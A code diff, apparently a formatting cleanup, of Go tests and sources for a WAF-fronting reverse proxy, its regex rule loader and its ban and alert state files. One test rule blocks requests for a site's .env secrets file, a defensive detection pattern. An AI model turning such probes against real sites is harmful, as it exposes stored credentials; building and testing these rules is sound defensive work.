addr, out := startRProxy( addr, out := startRProxy(t, backend(t), app.URL, map[string]string{
t, timeoutSetting: "200",
backend(t), })
app.URL,
map[string]string{
timeoutSetting: "200",
},
)
wantGreeting(t, get(t, addr, "/")) wantGreeting(t, get(t, addr, "/"))
@@ -1290,15 +1190,10 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) { app := startApp(t, func(http.ResponseWriter, *http.Request) {
t.Error("the app was asked") t.Error("the app was asked")
}) })
addr, out := startRProxy( addr, out := startRProxy(t, backend(t), app.URL, map[string]string{
t, timeoutSetting: "200",
backend(t), defaultDisposition: dispositionDeny,
app.URL, })
map[string]string{
timeoutSetting: "200",
defaultDisposition: dispositionDeny,
},
)
got := get(t, addr, "/") got := get(t, addr, "/")
if got.status != http.StatusServiceUnavailable { if got.status != http.StatusServiceUnavailable {
@@ -1321,24 +1216,16 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDefault(t *testing.T) {
t.Run("with the default "+disposition, func(t *testing.T) { t.Run("with the default "+disposition, func(t *testing.T) {
t.Parallel() t.Parallel()
standIn := startWAF( standIn := startWAF(t, func(_ http.ResponseWriter, r *http.Request) {
t, <-r.Context().Done()
func(_ http.ResponseWriter, r *http.Request) { })
<-r.Context().Done()
},
)
app := startApp(t, func(http.ResponseWriter, *http.Request) { app := startApp(t, func(http.ResponseWriter, *http.Request) {
t.Error("the app was asked") t.Error("the app was asked")
}) })
addr, out := startRProxy( addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
t, timeoutSetting: "60000",
standIn.URL, defaultDisposition: disposition,
app.URL, })
map[string]string{
timeoutSetting: "60000",
defaultDisposition: disposition,
},
)
conn := dial(t, addr) conn := dial(t, addr)
send(t, conn, "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n") send(t, conn, "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n")
@@ -1556,21 +1443,12 @@ func TestReportGivesWhatHappened(t *testing.T) {
report.ResponseBytes != int64(len(greeting)) || report.ResponseBytes != int64(len(greeting)) ||
report.DurationTotalMS <= 0 || report.DurationUpstreamTotalMS <= 0 || report.DurationTotalMS <= 0 || report.DurationUpstreamTotalMS <= 0 ||
report.DurationUpstreamTotalMS > report.DurationTotalMS { report.DurationUpstreamTotalMS > report.DurationTotalMS {
t.Errorf( t.Errorf("report %+v, of %d bytes up and %d back", report, len(body), len(greeting))
"report %+v, of %d bytes up and %d back",
report,
len(body),
len(greeting),
)
} }
line := out.requestLine(t) line := out.requestLine(t)
if line["request_id"] != report.RequestID { if line["request_id"] != report.RequestID {
t.Errorf( t.Errorf("line %v, report %+v, want the same request id", line, report)
"line %v, report %+v, want the same request id",
line,
report,
)
} }
} }
@@ -1599,14 +1477,9 @@ func TestWaitForReportsWaitsForAReportBeingSent(t *testing.T) {
t.Cleanup(backend.Close) t.Cleanup(backend.Close)
app := startApp(t, greet) app := startApp(t, greet)
addr, _, server := startServer( addr, _, server := startServer(t, backend.URL, app.URL, map[string]string{
t, timeoutSetting: "5000",
backend.URL, })
app.URL,
map[string]string{
timeoutSetting: "5000",
},
)
wantGreeting(t, get(t, addr, "/")) wantGreeting(t, get(t, addr, "/"))
@@ -1662,11 +1535,7 @@ func TestReportOfAWebSocketCountsWhatItCarried(t *testing.T) {
_ = res.Body.Close() _ = res.Body.Close()
if res.StatusCode != http.StatusSwitchingProtocols { if res.StatusCode != http.StatusSwitchingProtocols {
t.Fatalf( t.Fatalf("status %d, want %d", res.StatusCode, http.StatusSwitchingProtocols)
"status %d, want %d",
res.StatusCode,
http.StatusSwitchingProtocols,
)
} }
// Past both time limits, the connection still carries what is sent. // Past both time limits, the connection still carries what is sent.
@@ -1690,9 +1559,7 @@ func TestReportOfAWebSocketCountsWhatItCarried(t *testing.T) {
t.Errorf("report %+v, of %d bytes each way", report, len(message)) t.Errorf("report %+v, of %d bytes each way", report, len(message))
} }
if line := out.requestLine(t); line["status"] != float64( if line := out.requestLine(t); line["status"] != float64(res.StatusCode) {
res.StatusCode,
) {
t.Errorf("line %v, want status 101", line) t.Errorf("line %v, want status 101", line)
} }
} }
@@ -1847,8 +1714,7 @@ func TestEachRequestGetsAFreshID(t *testing.T) {
ids = append(ids, standIn.question(t).header.Get(requestIDHeader)) ids = append(ids, standIn.question(t).header.Get(requestIDHeader))
} }
if slices.Contains(ids, fromTraefik) || ids[0] == "" || if slices.Contains(ids, fromTraefik) || ids[0] == "" || ids[0] == ids[1] {
ids[0] == ids[1] {
t.Errorf("ids %v, want two fresh ones", ids) t.Errorf("ids %v, want two fresh ones", ids)
} }
} }
@@ -1866,13 +1732,7 @@ func TestLogLineGivesTheRequestAsSent(t *testing.T) {
app := startApp(t, greet) app := startApp(t, greet)
addr, out := startRProxy(t, standIn.URL, app.URL, nil) addr, out := startRProxy(t, standIn.URL, app.URL, nil)
req := newRequest( req := newRequest(t, http.MethodPost, addr, path+"?"+query, strings.NewReader(body))
t,
http.MethodPost,
addr,
path+"?"+query,
strings.NewReader(body),
)
req.Host = site req.Host = site
wantGreeting(t, visit(t, req)) wantGreeting(t, visit(t, req))
@@ -1898,10 +1758,7 @@ func TestLogLineGivesTheRequestAsSent(t *testing.T) {
} }
if line["default_disposition"] != nil { if line["default_disposition"] != nil {
t.Errorf( t.Errorf("default_disposition is %v, want it left out", line["default_disposition"])
"default_disposition is %v, want it left out",
line["default_disposition"],
)
} }
for _, name := range []string{"duration_request_ms", "duration_response_ms"} { for _, name := range []string{"duration_request_ms", "duration_response_ms"} {
+7 -24
View File
@@ -23,9 +23,7 @@ const answerBodyMaxBytes = 1 << 20
const reportAnswerMaxBytes = 4 << 10 const reportAnswerMaxBytes = 4 << 10
var ( var (
errCannotPassOn = errors.New( errCannotPassOn = errors.New("the answer cannot be passed to the visitor")
"the answer cannot be passed to the visitor",
)
errReportRefused = errors.New("the report was answered") errReportRefused = errors.New("the report was answered")
) )
@@ -110,11 +108,7 @@ func (rq *request) ask(ctx context.Context) (*wafAnswer, error) {
// a read of that. Go's client also takes a status below 100, which Go's server // a read of that. Go's client also takes a status below 100, which Go's server
// panics when asked to send. // panics when asked to send.
if res.StatusCode < http.StatusOK { if res.StatusCode < http.StatusOK {
return nil, fmt.Errorf( return nil, fmt.Errorf("%w: its status is %d", errCannotPassOn, res.StatusCode)
"%w: its status is %d",
errCannotPassOn,
res.StatusCode,
)
} }
body, err := io.ReadAll(io.LimitReader(res.Body, answerBodyMaxBytes+1)) body, err := io.ReadAll(io.LimitReader(res.Body, answerBodyMaxBytes+1))
@@ -139,14 +133,10 @@ func (rq *request) ask(ctx context.Context) (*wafAnswer, error) {
// waf. // waf.
func canBeAsked(r *http.Request) bool { func canBeAsked(r *http.Request) bool {
target, host := r.RequestURI, r.Host target, host := r.RequestURI, r.Host
hostHasZone := strings.HasPrefix(host, "[") && hostHasZone := strings.HasPrefix(host, "[") && strings.Contains(host, "%")
strings.Contains(host, "%")
return strings.HasPrefix(target, "/") && return strings.HasPrefix(target, "/") && !strings.HasPrefix(target, "//") &&
!strings.HasPrefix(target, "//") && host != "" && !hostHasZone && len(r.Header.Values("User-Agent")) <= 1
host != "" &&
!hostHasZone &&
len(r.Header.Values("User-Agent")) <= 1
} }
// newQuestion returns the question about the request, as "The question" in // newQuestion returns the question about the request, as "The question" in
@@ -161,11 +151,7 @@ func (rq *request) newQuestion(ctx context.Context) (*http.Request, error) {
} }
question, err := http.NewRequestWithContext( //nolint:gosec // a setting's URL question, err := http.NewRequestWithContext( //nolint:gosec // a setting's URL
ctx, ctx, in.Method, rq.h.config.WAFBackend.String(), bytes.NewReader(held))
in.Method,
rq.h.config.WAFBackend.String(),
bytes.NewReader(held),
)
if err != nil { if err != nil {
return nil, fmt.Errorf("make the question: %w", err) return nil, fmt.Errorf("make the question: %w", err)
} }
@@ -268,10 +254,7 @@ func (h *handler) postReport(ctx context.Context, report *waf.Report) error {
// The body of a 101 is the connection itself, and the time limit does not end // The body of a 101 is the connection itself, and the time limit does not end
// a read of that. // a read of that.
if res.StatusCode >= http.StatusOK { if res.StatusCode >= http.StatusOK {
_, _ = io.Copy( _, _ = io.Copy(io.Discard, io.LimitReader(res.Body, reportAnswerMaxBytes))
io.Discard,
io.LimitReader(res.Body, reportAnswerMaxBytes),
)
} }
_ = res.Body.Close() _ = res.Body.Close()
+13 -55
View File
@@ -63,9 +63,7 @@ const escapeLength = 3
var ( var (
// ruleLine is a rule: four fields separated by spaces or tabs, of // ruleLine is a rule: four fields separated by spaces or tabs, of
// which the fourth, the regex, runs to the end of the line. // which the fourth, the regex, runs to the end of the line.
ruleLine = regexp.MustCompile( ruleLine = regexp.MustCompile(`^([^ \t]+)[ \t]+([^ \t]+)[ \t]+([^ \t]+)[ \t]+(.+)$`)
`^([^ \t]+)[ \t]+([^ \t]+)[ \t]+([^ \t]+)[ \t]+(.+)$`,
)
// idChars are the characters of a rule's id. // idChars are the characters of a rule's id.
idChars = regexp.MustCompile(`^[A-Za-z0-9_-]+$`) idChars = regexp.MustCompile(`^[A-Za-z0-9_-]+$`)
) )
@@ -76,8 +74,7 @@ var (
"separated by spaces or tabs") "separated by spaces or tabs")
errNotID = errors.New("is not an id of letters, digits, - and _") errNotID = errors.New("is not an id of letters, digits, - and _")
errNotTarget = errors.New( errNotTarget = errors.New(
"is not path, query, uri, method, host, user_agent, referer or header:<Name>", "is not path, query, uri, method, host, user_agent, referer or header:<Name>")
)
errNotHeaderName = errors.New( errNotHeaderName = errors.New(
"has a character after header: that no header name can have") "has a character after header: that no header name can have")
errHeaderTakenOut = errors.New( errHeaderTakenOut = errors.New(
@@ -284,8 +281,7 @@ func read(dir string) ([]Rule, string, error) {
for _, entry := range entries { for _, entry := range entries {
name := entry.Name() name := entry.Name()
if entry.IsDir() || strings.HasPrefix(name, ".") || if entry.IsDir() || strings.HasPrefix(name, ".") || filepath.Ext(name) != extension {
filepath.Ext(name) != extension {
continue continue
} }
@@ -302,13 +298,8 @@ func read(dir string) ([]Rule, string, error) {
// readFile appends the rules of the rule file at path to rules. places // readFile appends the rules of the rule file at path to rules. places
// are where each id read so far is, and gain those of the file. // are where each id read so far is, and gain those of the file.
func readFile( func readFile(path string, rules []Rule, places map[string]string) ([]Rule, error) {
path string, data, err := os.ReadFile(path) //nolint:gosec // a rule file, in SWW_RULES_DIR
rules []Rule,
places map[string]string,
) ([]Rule, error) {
//nolint:gosec // a rule file, in SWW_RULES_DIR
data, err := os.ReadFile(path)
if err != nil { if err != nil {
return nil, err return nil, err
} }
@@ -332,13 +323,7 @@ func readFile(
first, used := places[rule.ID] first, used := places[rule.ID]
if used { if used {
return nil, fmt.Errorf( return nil, fmt.Errorf("%s: the id %q %w %s", place, rule.ID, errUsedTwice, first)
"%s: the id %q %w %s",
place,
rule.ID,
errUsedTwice,
first,
)
} }
places[rule.ID] = place places[rule.ID] = place
@@ -370,42 +355,22 @@ func parse(line string) (Rule, bool, error) {
case !idChars.MatchString(rule.ID): case !idChars.MatchString(rule.ID):
return Rule{}, false, fmt.Errorf("the id %q %w", rule.ID, errNotID) return Rule{}, false, fmt.Errorf("the id %q %w", rule.ID, errNotID)
case !isTarget(rule.Target): case !isTarget(rule.Target):
return Rule{}, false, fmt.Errorf( return Rule{}, false, fmt.Errorf("the target %q %w", rule.Target, errNotTarget)
"the target %q %w",
rule.Target,
errNotTarget,
)
case isHeader && !config.IsHeaderName(headerName): case isHeader && !config.IsHeaderName(headerName):
return Rule{}, false, fmt.Errorf( return Rule{}, false, fmt.Errorf("the target %q %w", rule.Target, errNotHeaderName)
"the target %q %w",
rule.Target,
errNotHeaderName,
)
case strings.EqualFold(rule.Target, headerTarget+"Host"): case strings.EqualFold(rule.Target, headerTarget+"Host"):
return Rule{}, false, fmt.Errorf( return Rule{}, false, fmt.Errorf(
"the target %q %w; the request's host is the target host", "the target %q %w; the request's host is the target host",
rule.Target, errHeaderTakenOut) rule.Target, errHeaderTakenOut)
case strings.EqualFold(rule.Target, headerTarget+"Transfer-Encoding"): case strings.EqualFold(rule.Target, headerTarget+"Transfer-Encoding"):
return Rule{}, false, fmt.Errorf( return Rule{}, false, fmt.Errorf("the target %q %w", rule.Target, errHeaderTakenOut)
"the target %q %w",
rule.Target,
errHeaderTakenOut,
)
case !slices.Contains([]string{ActionLog, ActionBlock, ActionBan}, rule.Action): case !slices.Contains([]string{ActionLog, ActionBlock, ActionBan}, rule.Action):
return Rule{}, false, fmt.Errorf( return Rule{}, false, fmt.Errorf("the action %q %w", rule.Action, errNotAction)
"the action %q %w",
rule.Action,
errNotAction,
)
} }
regex, err := regexp.Compile(fields[4]) regex, err := regexp.Compile(fields[4])
if err != nil { if err != nil {
return Rule{}, false, fmt.Errorf( return Rule{}, false, fmt.Errorf("the regex %w: %w", errNotRegex, err)
"the regex %w: %w",
errNotRegex,
err,
)
} }
rule.regex = regex rule.regex = regex
@@ -416,13 +381,7 @@ func parse(line string) (Rule, bool, error) {
// isTarget reports whether target is one a rule may have. // isTarget reports whether target is one a rule may have.
func isTarget(target string) bool { func isTarget(target string) bool {
switch target { switch target {
case pathTarget, case pathTarget, "query", uriTarget, "method", "host", "user_agent", "referer":
"query",
uriTarget,
"method",
"host",
"user_agent",
"referer":
return true return true
} }
@@ -438,8 +397,7 @@ func (rule Rule) matches(r *http.Request) bool {
target := value(rule.Target, r) target := value(rule.Target, r)
if rule.Target == pathTarget || rule.Target == uriTarget { if rule.Target == pathTarget || rule.Target == uriTarget {
return rule.regex.MatchString(target) || return rule.regex.MatchString(target) || rule.regex.MatchString(DecodeOnce(target))
rule.regex.MatchString(DecodeOnce(target))
} }
return rule.regex.MatchString(target) return rule.regex.MatchString(target)
+18 -79
View File
@@ -94,13 +94,7 @@ func TestEachTargetMatchesWhatItNames(t *testing.T) {
got := len(files.Match(r)) == 1 got := len(files.Match(r)) == 1
if got != tc.want { if got != tc.want {
t.Errorf( t.Errorf("%s matches %s: %t, want %t", tc.rule, tc.uri, got, tc.want)
"%s matches %s: %t, want %t",
tc.rule,
tc.uri,
got,
tc.want,
)
} }
}) })
} }
@@ -129,12 +123,7 @@ func TestPathMatchedAsTheClientSentIt(t *testing.T) {
for _, target := range []string{ for _, target := range []string{
tc.sent, "http://app.example" + tc.sent, "http:" + tc.sent, "foo:" + tc.sent, tc.sent, "http://app.example" + tc.sent, "http:" + tc.sent, "foo:" + tc.sent,
} { } {
r := httptest.NewRequestWithContext( r := httptest.NewRequestWithContext(t.Context(), http.MethodGet, target, nil)
t.Context(),
http.MethodGet,
target,
nil,
)
wantMatched(t, files, r, "as-sent") wantMatched(t, files, r, "as-sent")
} }
} }
@@ -157,20 +146,14 @@ after path log ^/
wantMatched(t, files, get(t, "/page"), "every-path", "after") wantMatched(t, files, get(t, "/page"), "every-path", "after")
// A ban rule ends it too. // A ban rule ends it too.
files = load( files = load(t, ruleFiles{testFile: "ban path ban ^/\nlater path block ^/\n"})
t,
ruleFiles{testFile: "ban path ban ^/\nlater path block ^/\n"},
)
wantMatched(t, files, get(t, "/"), "ban") wantMatched(t, files, get(t, "/"), "ban")
} }
func TestSpacesAndTabsEndingALineAreNotPartOfItsRegex(t *testing.T) { func TestSpacesAndTabsEndingALineAreNotPartOfItsRegex(t *testing.T) {
t.Parallel() t.Parallel()
files := load( files := load(t, ruleFiles{testFile: "env-file path block ^/\\.env$ \t \n"})
t,
ruleFiles{testFile: "env-file path block ^/\\.env$ \t \n"},
)
wantMatched(t, files, get(t, "/.env"), "env-file") wantMatched(t, files, get(t, "/.env"), "env-file")
} }
@@ -201,10 +184,7 @@ func TestFileWhoseNameStartsWithADotIsNotARuleFile(t *testing.T) {
// The lock file Emacs makes beside a file while it is edited: a link to // The lock file Emacs makes beside a file while it is edited: a link to
// nothing, which cannot be read. // nothing, which cannot be read.
err := os.Symlink( err := os.Symlink("user@host.1234:1700000000", filepath.Join(dir, ".#"+firstFile))
"user@host.1234:1700000000",
filepath.Join(dir, ".#"+firstFile),
)
if err != nil { if err != nil {
t.Fatalf("symlink: %v", err) t.Fatalf("symlink: %v", err)
} }
@@ -296,8 +276,7 @@ func TestFaultStopsTheStartNamingTheFileAndLine(t *testing.T) {
dir := writeFiles(t, ruleFiles{"00-default.rules": tc.content}) dir := writeFiles(t, ruleFiles{"00-default.rules": tc.content})
path := filepath.Join(dir, "00-default.rules") path := filepath.Join(dir, "00-default.rules")
want := path + ", line " + strconv.Itoa(tc.line) + ": " + tc.want wantRefused(t, dir, path+", line "+strconv.Itoa(tc.line)+": "+tc.want)
wantRefused(t, dir, want)
}) })
} }
} }
@@ -310,12 +289,8 @@ func TestIDUsedTwiceStopsTheStartNamingBothPlaces(t *testing.T) {
"50-b.rules": "other path log ^/b\nprobe path ban ^/c\n", "50-b.rules": "other path log ^/b\nprobe path ban ^/c\n",
}) })
wantRefused( wantRefused(t, dir, filepath.Join(dir, "50-b.rules")+`, line 2: the id "probe" `+
t, "is already the id of the rule at "+filepath.Join(dir, "00-a.rules")+", line 1")
dir,
filepath.Join(dir, "50-b.rules")+`, line 2: the id "probe" `+
"is already the id of the rule at "+filepath.Join(dir, "00-a.rules")+", line 1",
)
} }
func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) { func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) {
@@ -330,9 +305,7 @@ func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) {
func TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) { func TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) {
t.Parallel() t.Parallel()
params, lines := newParams( params, lines := newParams(writeFiles(t, ruleFiles{"00-default.rules": "# none\n"}))
writeFiles(t, ruleFiles{"00-default.rules": "# none\n"}),
)
files, err := rules.Load(params) files, err := rules.Load(params)
if err != nil { if err != nil {
@@ -341,11 +314,7 @@ func TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) {
line := lines.waitFor(t, read) line := lines.waitFor(t, read)
if files.Len() != 0 || line["rules"] != 0.0 { if files.Len() != 0 || line["rules"] != 0.0 {
t.Errorf( t.Errorf("%d rules loaded, and the log says %v, want none", files.Len(), line)
"%d rules loaded, and the log says %v, want none",
files.Len(),
line,
)
} }
} }
@@ -406,12 +375,7 @@ func TestBrokenEditKeepsTheRulesAsTheyWere(t *testing.T) {
// The edit's second line has an unknown action, so the rules stay as // The edit's second line has an unknown action, so the rules stay as
// they were, the first line's earlier version included. // they were, the first line's earlier version included.
save( save(t, dir, firstFile, "first path block ^/edited\nsecond path bann ^/second\n")
t,
dir,
firstFile,
"first path block ^/edited\nsecond path bann ^/second\n",
)
line := lines.waitFor(t, hasError) line := lines.waitFor(t, hasError)
want := filepath.Join(dir, firstFile) + want := filepath.Join(dir, firstFile) +
@@ -429,11 +393,7 @@ func TestBrokenEditKeepsTheRulesAsTheyWere(t *testing.T) {
if len(waiting) != 1 || waiting[0].Event != alerts.EventFileError || if len(waiting) != 1 || waiting[0].Event != alerts.EventFileError ||
waiting[0].Reason != hasError || waiting[0].Detail["error"] != want || waiting[0].Reason != hasError || waiting[0].Detail["error"] != want ||
waiting[0].Detail["file"] != filepath.Join(dir, firstFile) { waiting[0].Detail["file"] != filepath.Join(dir, firstFile) {
t.Errorf( t.Errorf("alerts waiting %+v, want one file_error alert for %q", waiting, want)
"alerts waiting %+v, want one file_error alert for %q",
waiting,
want,
)
} }
} }
wantFileError() wantFileError()
@@ -442,16 +402,8 @@ func TestBrokenEditKeepsTheRulesAsTheyWere(t *testing.T) {
wantMatched(t, files, get(t, "/second")) wantMatched(t, files, get(t, "/second"))
// Once mended, the file is read again, and raises no alert. // Once mended, the file is read again, and raises no alert.
save( save(t, dir, firstFile, "first path block ^/edited\nsecond path ban ^/second\n")
t, lines.waitUntil(t, func() bool { return len(files.Match(get(t, "/second"))) == 1 })
dir,
firstFile,
"first path block ^/edited\nsecond path ban ^/second\n",
)
lines.waitUntil(
t,
func() bool { return len(files.Match(get(t, "/second"))) == 1 },
)
wantMatched(t, files, get(t, "/edited"), "first") wantMatched(t, files, get(t, "/edited"), "first")
wantFileError() wantFileError()
} }
@@ -607,10 +559,7 @@ func load(t *testing.T, files ruleFiles) *rules.Files {
// watch loads the rules in dir, runs their Watch until the test ends, and // watch loads the rules in dir, runs their Watch until the test ends, and
// waits until it watches the directory. It returns the alerts' queue as // waits until it watches the directory. It returns the alerts' queue as
// well. // well.
func watch( func watch(t *testing.T, dir string) (*rules.Files, processLog, *alerts.Queue) {
t *testing.T,
dir string,
) (*rules.Files, processLog, *alerts.Queue) {
t.Helper() t.Helper()
params, lines := newParams(dir) params, lines := newParams(dir)
@@ -662,31 +611,21 @@ func get(t *testing.T, target string) *http.Request {
// wantRefusedBy checks that a GET request for target with the user agent // wantRefusedBy checks that a GET request for target with the user agent
// sent matches rule alone, and that rule refuses it. // sent matches rule alone, and that rule refuses it.
func wantRefusedBy( func wantRefusedBy(t *testing.T, files *rules.Files, target, sent, rule string) {
t *testing.T,
files *rules.Files,
target, sent, rule string,
) {
t.Helper() t.Helper()
r := get(t, target) r := get(t, target)
r.Header.Set(userAgent, sent) r.Header.Set(userAgent, sent)
matched := files.Match(r) matched := files.Match(r)
if len(matched) != 1 || matched[0].ID != rule || if len(matched) != 1 || matched[0].ID != rule || matched[0].Action == rules.ActionLog {
matched[0].Action == rules.ActionLog {
t.Errorf("%s from %q matched %v, want %s alone, refusing it", target, t.Errorf("%s from %q matched %v, want %s alone, refusing it", target,
sent, ids(matched), rule) sent, ids(matched), rule)
} }
} }
// wantMatched checks the ids of the rules r matches, in order. // wantMatched checks the ids of the rules r matches, in order.
func wantMatched( func wantMatched(t *testing.T, files *rules.Files, r *http.Request, want ...string) {
t *testing.T,
files *rules.Files,
r *http.Request,
want ...string,
) {
t.Helper() t.Helper()
got := ids(files.Match(r)) got := ids(files.Match(r))
+32 -118
View File
@@ -89,11 +89,7 @@ func fileNames() []string {
// isCacheFile reports whether name is the name of a cache file. // isCacheFile reports whether name is the name of a cache file.
func isCacheFile(name string) bool { func isCacheFile(name string) bool {
switch name { switch name {
case lookupsJSON, case lookupsJSON, listsJSON, dnsblJSON, abuseIPDBScoresJSON, routeWatchJSON:
listsJSON,
dnsblJSON,
abuseIPDBScoresJSON,
routeWatchJSON:
return true return true
default: default:
return false return false
@@ -107,14 +103,10 @@ var (
errCause = errors.New("is not limit, attack, admin or crowdsec") errCause = errors.New("is not limit, attack, admin or crowdsec")
errExpires = errors.New("is not after its start") errExpires = errors.New("is not after its start")
errDestination = errors.New("is not webhook, slack or ntfy") errDestination = errors.New("is not webhook, slack or ntfy")
errScope = errors.New( errScope = errors.New("is not client, net, asn, total or watched_net")
"is not client, net, asn, total or watched_net", errWaitingList = errors.New(`waiting is a list, but now lists the alerts by ` +
) `destination: put the list under "webhook", as "waiting": {"webhook": [...]}, ` +
errWaitingList = errors.New( `or remove the file`)
`waiting is a list, but now lists the alerts by ` +
`destination: put the list under "webhook", as "waiting": {"webhook": [...]}, ` +
`or remove the file`,
)
) )
// Params are what Load needs. // Params are what Load needs.
@@ -291,23 +283,9 @@ func Load(params Params) (*Files, error) {
f.readCache(abuseIPDBScoresJSON) f.readCache(abuseIPDBScoresJSON)
f.readCache(routeWatchJSON) f.readCache(routeWatchJSON)
params.ProcessLog.Info( params.ProcessLog.Info("read the state and cache files", "directory", params.Dir,
"read the state and cache files", "cache_directory", params.CacheDir, "bans", bansRead, "clients", clientsRead,
"directory", "lookups", lookupsRead, "lists", listsRead, "alerts_waiting", alertsRead)
params.Dir,
"cache_directory",
params.CacheDir,
"bans",
bansRead,
"clients",
clientsRead,
"lookups",
lookupsRead,
"lists",
listsRead,
"alerts_waiting",
alertsRead,
)
return f, nil return f, nil
} }
@@ -366,11 +344,8 @@ func (f *Files) WriteAll() error {
func (f *Files) Watch(ctx context.Context) { func (f *Files) Watch(ctx context.Context) {
watcher, err := fsnotify.NewWatcher() watcher, err := fsnotify.NewWatcher()
if err != nil { if err != nil {
f.params.ProcessLog.Error( f.params.ProcessLog.Error("cannot watch the state and cache files for edits",
"cannot watch the state and cache files for edits", "error", err.Error())
"error",
err.Error(),
)
return return
} }
@@ -420,11 +395,8 @@ func (f *Files) Watch(ctx context.Context) {
f.fileChanged(name) f.fileChanged(name)
} }
case err = <-watcher.Errors: case err = <-watcher.Errors:
f.params.ProcessLog.Warn( f.params.ProcessLog.Warn("watching the state and cache files failed",
"watching the state and cache files failed", "error", err.Error())
"error",
err.Error(),
)
} }
} }
} }
@@ -444,10 +416,7 @@ func (f *Files) logFailure(name string, err error) {
Event: alerts.EventFileError, Event: alerts.EventFileError,
Reason: failed, Reason: failed,
Detail: map[string]any{ Detail: map[string]any{
"file": filepath.Join( "file": filepath.Join(f.dir(name), name), "error": err.Error(),
f.dir(name),
name,
), "error": err.Error(),
}, },
}) })
f.params.ProcessLog.Error(failed, "error", err.Error()) f.params.ProcessLog.Error(failed, "error", err.Error())
@@ -488,11 +457,7 @@ func (f *Files) takeInEdit(name string, data []byte) error {
// Counted before it is logged, so that the count is there once the // Counted before it is logged, so that the count is there once the
// log line is. // log line is.
f.params.Metrics.StateFileEditTakenIn(name) f.params.Metrics.StateFileEditTakenIn(name)
f.params.ProcessLog.Info( f.params.ProcessLog.Info(tookIn, "file", filepath.Join(f.dir(name), name))
tookIn,
"file",
filepath.Join(f.dir(name), name),
)
return nil return nil
} }
@@ -543,13 +508,8 @@ func (f *Files) readCache(name string) int {
// start, unless it is nil. // start, unless it is nil.
func (f *Files) logUnread(name string, err error) { func (f *Files) logUnread(name string, err error) {
if err != nil { if err != nil {
f.params.ProcessLog.Warn( f.params.ProcessLog.Warn("cannot read a cache file, so its cache starts empty",
"cannot read a cache file, so its cache starts empty", "file", filepath.Join(f.dir(name), name), "error", err.Error())
"file",
filepath.Join(f.dir(name), name),
"error",
err.Error(),
)
} }
} }
@@ -560,8 +520,7 @@ func (f *Files) logUnread(name string, err error) {
func (f *Files) readChanged(name string) ([]byte, bool, error) { func (f *Files) readChanged(name string) ([]byte, bool, error) {
path := filepath.Join(f.dir(name), name) path := filepath.Join(f.dir(name), name)
//nolint:gosec // a file in one of the two directories data, err := os.ReadFile(path) //nolint:gosec // a file in one of the two directories
data, err := os.ReadFile(path)
if errors.Is(err, fs.ErrNotExist) { if errors.Is(err, fs.ErrNotExist) {
return nil, false, nil return nil, false, nil
} }
@@ -605,11 +564,7 @@ func (f *Files) takeIn(name string, data []byte, edit bool) (int, error) {
// takeInState parses data, what the state file name, at path, holds, and // takeInState parses data, what the state file name, at path, holds, and
// puts it in, as takeIn describes. // puts it in, as takeIn describes.
func (f *Files) takeInState( func (f *Files) takeInState(name, path string, data []byte, edit bool) (int, error) {
name, path string,
data []byte,
edit bool,
) (int, error) {
var entries int var entries int
switch name { switch name {
@@ -838,18 +793,9 @@ func (f *Files) setAside(name string, parseErr error) error {
f.params.Alerts.Raise(alerts.Alert{ f.params.Alerts.Raise(alerts.Alert{
Event: alerts.EventFileError, Event: alerts.EventFileError,
Reason: setAside, Reason: setAside,
Detail: map[string]any{ Detail: map[string]any{"file": path + ".bad", "error": parseErr.Error()},
"file": path + ".bad",
"error": parseErr.Error(),
},
}) })
f.params.ProcessLog.Error( f.params.ProcessLog.Error(setAside, "file", path+".bad", "error", parseErr.Error())
setAside,
"file",
path+".bad",
"error",
parseErr.Error(),
)
f.params.Metrics.StateFileEditSetAside(name) f.params.Metrics.StateFileEditSetAside(name)
return nil return nil
@@ -868,9 +814,7 @@ func (f *Files) encode(name string) ([]byte, error) {
case lookupsJSON: case lookupsJSON:
return encodeOnePerLine("lookups", f.params.GeoJS.Snapshot()) return encodeOnePerLine("lookups", f.params.GeoJS.Snapshot())
case listsJSON: case listsJSON:
return encodeIndented( return encodeIndented(listsFile{Version: version, Lists: f.params.Lists.Snapshot()})
listsFile{Version: version, Lists: f.params.Lists.Snapshot()},
)
case dnsblJSON: case dnsblJSON:
return encodeOnePerLine("verdicts", f.params.DNSBL.Snapshot()) return encodeOnePerLine("verdicts", f.params.DNSBL.Snapshot())
case abuseIPDBScoresJSON: case abuseIPDBScoresJSON:
@@ -987,12 +931,7 @@ func (f *bansFile) check(data []byte) error {
case entry.Cause != "" && entry.Cause != bans.CauseLimit && case entry.Cause != "" && entry.Cause != bans.CauseLimit &&
entry.Cause != bans.CauseAttack && entry.Cause != bans.CauseAdmin && entry.Cause != bans.CauseAttack && entry.Cause != bans.CauseAdmin &&
entry.Cause != bans.CauseCrowdSec: entry.Cause != bans.CauseCrowdSec:
return fmt.Errorf( return fmt.Errorf("entry %d's cause %q %w", i+1, entry.Cause, errCause)
"entry %d's cause %q %w",
i+1,
entry.Cause,
errCause,
)
} }
} }
@@ -1201,17 +1140,9 @@ func (f *alertsFile) check([]byte) error {
for i, alert := range f.Waiting[destination] { for i, alert := range f.Waiting[destination] {
switch { switch {
case alert.Event == "": case alert.Event == "":
return fmt.Errorf( return fmt.Errorf("waiting %s %w", destination, missing(i, "event"))
"waiting %s %w",
destination,
missing(i, "event"),
)
case alert.Time.IsZero(): case alert.Time.IsZero():
return fmt.Errorf( return fmt.Errorf("waiting %s %w", destination, missing(i, "time"))
"waiting %s %w",
destination,
missing(i, "time"),
)
} }
} }
} }
@@ -1284,12 +1215,7 @@ func missing(i int, field string) error {
func (f *bansFile) toUTC() { func (f *bansFile) toUTC() {
for i := range f.Bans { for i := range f.Bans {
ban := &f.Bans[i] ban := &f.Bans[i]
convertToUTC( convertToUTC(&ban.Start, ban.Expires, ban.Lifted, &ban.Notes.Request.Time)
&ban.Start,
ban.Expires,
ban.Lifted,
&ban.Notes.Request.Time,
)
} }
} }
